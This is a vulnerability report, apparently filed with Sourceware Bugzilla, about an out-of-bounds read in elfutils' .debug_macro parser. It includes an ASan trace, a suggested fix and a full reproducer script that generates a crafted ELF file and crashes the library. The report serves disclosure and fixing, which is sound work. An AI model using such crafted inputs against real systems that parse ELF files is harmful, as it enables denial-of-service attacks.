OOB read in dwarf_getmacros.c (HEAD commit d250dd5e)
I filed this as Sourceware Bugzilla Bug 34382:
https://sourceware.org/bugzilla/show_bug.cgi?id=34382
The .debug_macro parsing in get_table_for_offset reads the optional
line_offset field at line 195 without first verifying that the field
fits inside the section.
The initial bounds check only ensures that the 3-byte .debug_macro
header is present:
version: 2 bytes
flags: 1 byte
If flags has the line_offset bit set and 64-bit offset size is selected,
readp is advanced to the end of the section after reading version+flags.
The code then performs an unchecked 8-byte read:
line_offset = read_addr_unaligned_inc (is_64bit ? 8 : 4, dbg, readp);
The later check is too late because it runs after the read.
Minimal trigger:
.debug_macro bytes: 04 00 03
This encodes version=4 and flags=0x03, causing the parser to expect an
8-byte line_offset even though the section ends immediately after the
flags byte.
ASan confirms the OOB read:
ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 8
#0 get_table_for_offset libdw/dwarf_getmacros.c:195
#1 cache_op_table libdw/dwarf_getmacros.c:335
#2 read_macros libdw/dwarf_getmacros.c:379
#3 gnu_macros_getmacros_off libdw/dwarf_getmacros.c:556
#4 dwarf_getmacros_off libdw/dwarf_getmacros.c:586
The crafted ELF is 363 bytes, with .debug_macro placed at EOF:
.debug_macro offset = 360
.debug_macro size = 3
EOF = 363
ASan reports the read starts exactly after the allocation:
0x5130000001ab is located 0 bytes after 363-byte region
[0x513000000040,0x5130000001ab)
CWE-125 (Out-of-bounds Read)
Impact: crash/DoS from crafted .debug_macro section
Suggested fix: check that readp + (is_64bit ? 8 : 4) <= endp before
calling read_addr_unaligned_inc().
The Bugzilla report includes the ASan trace and standalone reproducer.
Discoverer: Karan Kurani
elfutils .debug_macro OOB read report attachment
================================================
This attachment contains:
1. Clean ASan reproduction trace
2. Standalone reproducer script
Finding summary
---------------
OOB read in libdw/dwarf_getmacros.c:get_table_for_offset() when parsing a
truncated .debug_macro section whose flags indicate an optional line_offset
field. The parser reads the 4/8-byte line_offset with read_addr_unaligned_inc()
before validating that the field fits inside the section.
Minimal .debug_macro bytes:
04 00 03
This encodes version=4 and flags=0x03, causing the parser to expect an
8-byte line_offset even though the section ends immediately after flags.
Clean ASan trace
----------------
[*] Fetching and checking out commit/ref:
d250dd5ed1713974a7f475a272c97a1dc6a81da6
HEAD is now at d250dd5e po: Add Georgian (ka) translation
[*] Audited HEAD: d250dd5ed1713974a7f475a272c97a1dc6a81da6
[*] Relevant source line:
195: line_offset = read_addr_unaligned_inc (is_64bit ? 8 : 4, dbg, readp);
[*] Reusing existing ASan build at
/work/elfutils-debug-macro-oob-work/build-asan
[*] Generating crafted ELF...
wrote /work/elfutils-debug-macro-oob-work/poc/macro_poc.elf (363 bytes)
.debug_macro offset=360, size=3, EOF=363
/work/elfutils-debug-macro-oob-work/poc/macro_poc.elf: ELF 64-bit LSB
relocatable, x86-64, version 1 (SYSV), with debug_info, not stripped
-rw-r--r-- 1 root root 363 Jul 9 18:24
/work/elfutils-debug-macro-oob-work/poc/macro_poc.elf
[*] Using libdw archive:
/work/elfutils-debug-macro-oob-work/build-asan/libdw/libdw.a
[*] Compiling harness...
[*] Header check:
-rw-r--r-- 1 root root 47932 Jul 9 17:49
/work/elfutils-debug-macro-oob-work/elfutils/libdw/libdw.h
-rw-r--r-- 1 root root 20795 Jul 9 17:49
/work/elfutils-debug-macro-oob-work/elfutils/libelf/libelf.h
[*] Running PoC. A vulnerable build should abort with AddressSanitizer.
[*] If this prints only an invalid-DWARF return, the checked-out tree may
already be patched.
/work/elfutils-debug-macro-oob-work/elfutils/libdw/dwarf_getmacros.c:195:21:
runtime error: load of misaligned address 0x5130000001ab for type 'const
uint64_t', which requires 8 byte alignment
0x5130000001ab: note: pointer points here
00 04 00 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00
^
#0 0x555555650080 in get_table_for_offset
/work/elfutils-debug-macro-oob-work/elfutils/libdw/dwarf_getmacros.c:195
#1 0x555555651e1d in cache_op_table
/work/elfutils-debug-macro-oob-work/elfutils/libdw/dwarf_getmacros.c:335
#2 0x555555652531 in read_macros
/work/elfutils-debug-macro-oob-work/elfutils/libdw/dwarf_getmacros.c:379
#3 0x555555653c66 in gnu_macros_getmacros_off
/work/elfutils-debug-macro-oob-work/elfutils/libdw/dwarf_getmacros.c:556
#4 0x555555653f11 in dwarf_getmacros_off
/work/elfutils-debug-macro-oob-work/elfutils/libdw/dwarf_getmacros.c:586
#5 0x555555637550 in main /work/elfutils-debug-macro-oob-work/poc/poc.c:93
#6 0x7ffffe6ea1c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId:
8e9fd827446c24067541ac5390e6f527fb5947bb)
#7 0x7ffffe6ea28a in __libc_start_main
(/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId:
8e9fd827446c24067541ac5390e6f527fb5947bb)
#8 0x555555636d94 in _start
(/work/elfutils-debug-macro-oob-work/poc/poc+0xe2d94) (BuildId:
626d8eecbe47c9158d5e66f0d81d4e7456789709)
=================================================================
==4485==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x5130000001ab
at pc 0x5555556500a0 bp 0x7ffffffc3b30 sp 0x7ffffffc3b20
READ of size 8 at 0x5130000001ab thread T0
#0 0x55555565009f in get_table_for_offset
/work/elfutils-debug-macro-oob-work/elfutils/libdw/dwarf_getmacros.c:195
#1 0x555555651e1d in cache_op_table
/work/elfutils-debug-macro-oob-work/elfutils/libdw/dwarf_getmacros.c:335
#2 0x555555652531 in read_macros
/work/elfutils-debug-macro-oob-work/elfutils/libdw/dwarf_getmacros.c:379
#3 0x555555653c66 in gnu_macros_getmacros_off
/work/elfutils-debug-macro-oob-work/elfutils/libdw/dwarf_getmacros.c:556
#4 0x555555653f11 in dwarf_getmacros_off
/work/elfutils-debug-macro-oob-work/elfutils/libdw/dwarf_getmacros.c:586
#5 0x555555637550 in main /work/elfutils-debug-macro-oob-work/poc/poc.c:93
#6 0x7ffffe6ea1c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId:
8e9fd827446c24067541ac5390e6f527fb5947bb)
#7 0x7ffffe6ea28a in __libc_start_main
(/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId:
8e9fd827446c24067541ac5390e6f527fb5947bb)
#8 0x555555636d94 in _start
(/work/elfutils-debug-macro-oob-work/poc/poc+0xe2d94) (BuildId:
626d8eecbe47c9158d5e66f0d81d4e7456789709)
0x5130000001ab is located 0 bytes after 363-byte region
[0x513000000040,0x5130000001ab)
allocated by thread T0 here:
#0 0x7fffff1ee9c7 in malloc
../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:69
#1 0x5555556371c1 in main /work/elfutils-debug-macro-oob-work/poc/poc.c:50
#2 0x7ffffe6ea1c9 (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId:
8e9fd827446c24067541ac5390e6f527fb5947bb)
#3 0x7ffffe6ea28a in __libc_start_main
(/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId:
8e9fd827446c24067541ac5390e6f527fb5947bb)
#4 0x555555636d94 in _start
(/work/elfutils-debug-macro-oob-work/poc/poc+0xe2d94) (BuildId:
626d8eecbe47c9158d5e66f0d81d4e7456789709)
SUMMARY: AddressSanitizer: heap-buffer-overflow
/work/elfutils-debug-macro-oob-work/elfutils/libdw/dwarf_getmacros.c:195 in
get_table_for_offset
Shadow bytes around the buggy address:
0x512fffffff00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x512fffffff80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x513000000000: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
0x513000000080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x513000000100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x513000000180: 00 00 00 00 00[03]fa fa fa fa fa fa fa fa fa fa
0x513000000200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x513000000280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x513000000300: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x513000000380: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x513000000400: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==4485==ABORTING
Standalone reproducer script
----------------------------
Save the following as elfutils_debug_macro_oob_poc_v5.sh and run with:
chmod +x elfutils_debug_macro_oob_poc_v5.sh
docker run --rm --platform linux/amd64 \
-e COMMIT=d250dd5ed1713974a7f475a272c97a1dc6a81da6 \
-v "$PWD":/work -w /work \
ubuntu:24.04 bash ./elfutils_debug_macro_oob_poc_v5.sh
Script:
```bash
#!/usr/bin/env bash
set -Eeuo pipefail
# elfutils .debug_macro line_offset OOB read PoC
#
# Purpose:
# Reproduces an AddressSanitizer heap-buffer-overflow in libdw's
# dwarf_getmacros_off() path when a crafted .debug_macro section ends
# immediately after version+flags but sets DEBUG_LINE_OFFSET + OFFSET_SIZE.
#
# Expected vulnerable crash:
# READ of size 8
# get_table_for_offset ... libdw/dwarf_getmacros.c:195
# dwarf_getmacros_off ... libdw/dwarf_getmacros.c
#
# Best run on macOS through Docker:
# docker run --rm -it --platform linux/amd64 -v "$PWD":/work -w /work
ubuntu:24.04 bash ./elfutils_debug_macro_oob_poc.sh
#
# Save trace:
# docker run --rm --platform linux/amd64 -v "$PWD":/work -w /work
ubuntu:24.04 bash ./elfutils_debug_macro_oob_poc.sh > asan-trace.txt 2>&1
REPO_URL="${REPO_URL:-https://sourceware.org/git/elfutils.git}"
COMMIT="${COMMIT:-HEAD}"
WORKDIR="${WORKDIR:-$PWD/elfutils-debug-macro-oob-work}"
SRC="$WORKDIR/elfutils"
BUILD="$WORKDIR/build-asan"
POC_DIR="$WORKDIR/poc"
echo "[*] Workdir: $WORKDIR"
mkdir -p "$WORKDIR" "$POC_DIR"
if command -v apt-get >/dev/null 2>&1; then
echo "[*] Installing build dependencies with apt..."
export DEBIAN_FRONTEND=noninteractive
apt-get update
apt-get install -y \
git ca-certificates build-essential autoconf automake autopoint gettext \
libtool pkg-config gawk bison flex m4 xz-utils zlib1g-dev libbz2-dev \
liblzma-dev libzstd-dev file python3
else
echo "[!] apt-get not found. Run this script inside Ubuntu/Debian or the
Docker command shown in the header." >&2
exit 1
fi
if [ ! -d "$SRC/.git" ]; then
echo "[*] Cloning elfutils..."
git clone "$REPO_URL" "$SRC"
fi
cd "$SRC"
echo "[*] Fetching and checking out commit/ref: $COMMIT"
git fetch --all --tags --prune
git checkout "$COMMIT"
HEAD_SHA="$(git rev-parse HEAD)"
echo "[*] Audited HEAD: $HEAD_SHA"
if [ -n "$(git status --porcelain)" ]; then
echo "[!] Source tree is dirty. Refusing to audit a modified working tree:"
>&2
git status --porcelain >&2
exit 1
fi
echo "[*] Relevant source line:"
grep -n "line_offset = read_addr_unaligned_inc" libdw/dwarf_getmacros.c || true
if [ ! -x "$SRC/configure" ]; then
echo "[*] Bootstrapping configure..."
if [ -x "$SRC/bootstrap" ]; then
./bootstrap
else
autoreconf -fi
fi
fi
mkdir -p "$BUILD"
cd "$BUILD"
if [ ! -f "$BUILD/libdw/libdw.a" ]; then
echo "[*] Configuring ASan build..."
CFLAGS="-g3 -O0 -fsanitize=address,undefined -fno-omit-frame-pointer" \
CXXFLAGS="-g3 -O0 -fsanitize=address,undefined -fno-omit-frame-pointer" \
LDFLAGS="-fsanitize=address,undefined" \
"$SRC/configure" \
--disable-debuginfod \
--disable-libdebuginfod \
--disable-nls \
--enable-maintainer-mode \
--enable-shared=no \
--enable-static=yes
echo "[*] Building required static/PIC libraries..."
# Build only archives needed by the harness.
# Do NOT ask libdw for full "all", because elfutils may try to build libdw.so
# and fail on optional backend PIC archives that are irrelevant for this PoC.
make -j"$(nproc)" -C lib libeu.a || make -j"$(nproc)" -C lib
make -j"$(nproc)" -C libelf libelf.a || make -j"$(nproc)" -C libelf
make -j"$(nproc)" -C libebl libebl.a || make -j"$(nproc)" -C libebl
make -j"$(nproc)" -C libdwelf libdwelf.a || make -j"$(nproc)" -C libdwelf
# libdw_pic.a is enough for static linking into the ASan harness.
# Some elfutils Makefiles still try libdw.so during "make -C libdw";
# targeting the archive directly avoids the unrelated shared-library
dependency.
make -j"$(nproc)" -C libdw libdw.a || make -j"$(nproc)" -C libdw libdw_pic.a
|| true
if [ ! -f "$BUILD/libdw/libdw.a" ] && [ ! -f "$BUILD/libdw/libdw_pic.a" ];
then
echo "[!] libdw archive was not built." >&2
ls -la "$BUILD/libdw" >&2 || true
exit 1
fi
else
echo "[*] Reusing existing ASan build at $BUILD"
fi
cat > "$POC_DIR/make_macro_elf.py" <<'PY'
#!/usr/bin/env python3
import struct
import sys
out = sys.argv[1] if len(sys.argv) > 1 else "macro_poc.elf"
# Minimal ELF64 little-endian relocatable file.
# The section header table is placed before .debug_macro so that .debug_macro
# is the final section data and ends exactly at EOF.
#
# .debug_macro bytes:
# 04 00 version = 4
# 03 flags = DEBUG_LINE_OFFSET(0x02) | OFFSET_SIZE(0x01)
#
# libdw reads version+flags, then because flags&0x02 it immediately reads an
# 8-byte line_offset from readp==endp via read_addr_unaligned_inc(...), causing
# an ASan heap-buffer-overflow when loaded from elf_memory() on an exact malloc.
def align(x, n):
return (x + n - 1) & ~(n - 1)
EI_NIDENT = 16
ET_REL = 1
EM_X86_64 = 62
EV_CURRENT = 1
SHT_NULL = 0
SHT_PROGBITS = 1
SHT_STRTAB = 3
ehsize = 64
shentsize = 64
shnum = 4
shstrndx = 1
shstr = b"\x00.shstrtab\x00.debug_info\x00.debug_macro\x00"
name_shstrtab = 1
name_debug_info = shstr.index(b".debug_info")
name_debug_macro = shstr.index(b".debug_macro")
off = ehsize
shstr_off = off
off += len(shstr)
debug_info = b"\x00"
debug_info_off = off
off += len(debug_info)
shoff = align(off, 8)
macro_off = shoff + shentsize * shnum
debug_macro = b"\x04\x00\x03"
file_size = macro_off + len(debug_macro)
ident = bytearray(16)
ident[0:4] = b"\x7fELF"
ident[4] = 2 # ELFCLASS64
ident[5] = 1 # ELFDATA2LSB
ident[6] = 1 # EV_CURRENT
ident[7] = 0 # ELFOSABI_NONE
ehdr = struct.pack(
"<16sHHIQQQIHHHHHH",
bytes(ident),
ET_REL,
EM_X86_64,
EV_CURRENT,
0, # e_entry
0, # e_phoff
shoff, # e_shoff
0, # e_flags
ehsize,
0, # e_phentsize
0, # e_phnum
shentsize,
shnum,
shstrndx,
)
def shdr(name, typ, flags, addr, offset, size, link=0, info=0, addralign=1,
entsize=0):
return struct.pack("<IIQQQQIIQQ", name, typ, flags, addr, offset, size,
link, info, addralign, entsize)
sections = [
shdr(0, SHT_NULL, 0, 0, 0, 0, 0, 0, 0, 0),
shdr(name_shstrtab, SHT_STRTAB, 0, 0, shstr_off, len(shstr), 0, 0, 1, 0),
shdr(name_debug_info, SHT_PROGBITS, 0, 0, debug_info_off, len(debug_info),
0, 0, 1, 0),
shdr(name_debug_macro, SHT_PROGBITS, 0, 0, macro_off, len(debug_macro), 0,
0, 1, 0),
]
buf = bytearray(file_size)
buf[0:len(ehdr)] = ehdr
buf[shstr_off:shstr_off + len(shstr)] = shstr
buf[debug_info_off:debug_info_off + len(debug_info)] = debug_info
buf[shoff:shoff + shentsize * shnum] = b"".join(sections)
buf[macro_off:macro_off + len(debug_macro)] = debug_macro
with open(out, "wb") as f:
f.write(buf)
print(f"wrote {out} ({len(buf)} bytes)")
print(f".debug_macro offset={macro_off}, size={len(debug_macro)},
EOF={len(buf)}")
PY
chmod +x "$POC_DIR/make_macro_elf.py"
cat > "$POC_DIR/poc.c" <<'C'
#define _GNU_SOURCE
#include <elf.h>
#include <errno.h>
#include <fcntl.h>
#include <libelf.h>
#include <libdw.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <unistd.h>
static int macro_cb(Dwarf_Macro *macro, void *arg)
{
(void) macro;
(void) arg;
return 0;
}
static void die(const char *msg)
{
perror(msg);
exit(1);
}
int main(int argc, char **argv)
{
const char *path = argc > 1 ? argv[1] : "macro_poc.elf";
if (elf_version(EV_CURRENT) == EV_NONE)
{
fprintf(stderr, "elf_version failed: %s\n", elf_errmsg(-1));
return 1;
}
int fd = open(path, O_RDONLY);
if (fd < 0)
die("open");
struct stat st;
if (fstat(fd, &st) != 0)
die("fstat");
if (st.st_size <= 0)
{
fprintf(stderr, "empty file\n");
return 1;
}
unsigned char *buf = malloc((size_t) st.st_size);
if (buf == NULL)
die("malloc");
size_t off = 0;
while (off < (size_t) st.st_size)
{
ssize_t n = read(fd, buf + off, (size_t) st.st_size - off);
if (n < 0)
die("read");
if (n == 0)
break;
off += (size_t) n;
}
close(fd);
if (off != (size_t) st.st_size)
{
fprintf(stderr, "short read\n");
return 1;
}
/*
* This is intentional: elf_memory() makes libelf/libdw operate on the
* exact heap allocation. Because .debug_macro is the trailing section and
* ends at EOF, an unchecked read past section end becomes an ASan-visible
* heap-buffer-overflow instead of silently reading adjacent mmap bytes.
*/
Elf *elf = elf_memory((char *) buf, (size_t) st.st_size);
if (elf == NULL)
{
fprintf(stderr, "elf_memory failed: %s\n", elf_errmsg(-1));
return 1;
}
Dwarf *dbg = dwarf_begin_elf(elf, DWARF_C_READ, NULL);
if (dbg == NULL)
{
fprintf(stderr, "dwarf_begin_elf failed: %s\n", dwarf_errmsg(-1));
return 1;
}
printf("calling dwarf_getmacros_off(dbg, 0, ..., DWARF_GETMACROS_START)\n");
ptrdiff_t r = dwarf_getmacros_off(dbg, 0, macro_cb, NULL,
DWARF_GETMACROS_START);
/*
* On a vulnerable build, ASan should abort before this line with:
* READ of size 8 in get_table_for_offset, libdw/dwarf_getmacros.c.
*/
printf("dwarf_getmacros_off returned %td, dwarf_errno=%d, errmsg=%s\n",
r, dwarf_errno (), dwarf_errmsg (-1));
dwarf_end(dbg);
elf_end(elf);
free(buf);
return 0;
}
C
echo "[*] Generating crafted ELF..."
python3 "$POC_DIR/make_macro_elf.py" "$POC_DIR/macro_poc.elf"
file "$POC_DIR/macro_poc.elf" || true
ls -l "$POC_DIR/macro_poc.elf"
LIBDW_ARCHIVE="$BUILD/libdw/libdw.a"
if [ ! -f "$LIBDW_ARCHIVE" ]; then
LIBDW_ARCHIVE="$BUILD/libdw/libdw_pic.a"
fi
echo "[*] Using libdw archive: $LIBDW_ARCHIVE"
echo "[*] Compiling harness..."
echo "[*] Header check:"
ls -l "$SRC/libdw/libdw.h" "$SRC/libelf/libelf.h" || true
cc -g3 -O0 -fsanitize=address,undefined -fno-omit-frame-pointer \
-I"$SRC" -I"$SRC/lib" -I"$SRC/libelf" -I"$SRC/libdw" -I"$SRC/libdwelf"
-I"$SRC/libebl" \
-I"$BUILD" -I"$BUILD/lib" -I"$BUILD/libelf" -I"$BUILD/libdw"
-I"$BUILD/libdwelf" -I"$BUILD/libebl" \
"$POC_DIR/poc.c" \
"$BUILD/libdw/libdw.a" \
"$BUILD/libdwelf/libdwelf.a" \
"$BUILD/libebl/libebl.a" \
"$BUILD/libelf/libelf.a" \
"$BUILD/lib/libeu.a" \
-lz -lzstd -llzma -lbz2 -lpthread -ldl -lm \
-o "$POC_DIR/poc"
echo "[*] Running PoC. A vulnerable build should abort with AddressSanitizer."
echo "[*] If this prints only an invalid-DWARF return, the checked-out tree may
already be patched."
ASAN_OPTIONS="${ASAN_OPTIONS:-abort_on_error=0:detect_leaks=0:symbolize=1}" \
UBSAN_OPTIONS="${UBSAN_OPTIONS:-print_stacktrace=1}" \
"$POC_DIR/poc" "$POC_DIR/macro_poc.elf"
```